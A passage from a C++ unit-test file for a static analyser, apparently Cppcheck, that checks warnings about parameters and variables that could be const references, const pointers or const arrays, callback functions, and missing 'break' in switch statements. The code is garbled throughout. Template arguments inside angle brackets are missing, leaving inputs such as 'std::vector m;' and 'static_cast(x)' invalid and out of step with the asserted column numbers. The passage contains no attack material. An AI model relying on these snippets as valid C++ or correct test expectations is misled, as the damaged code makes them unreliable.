ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y 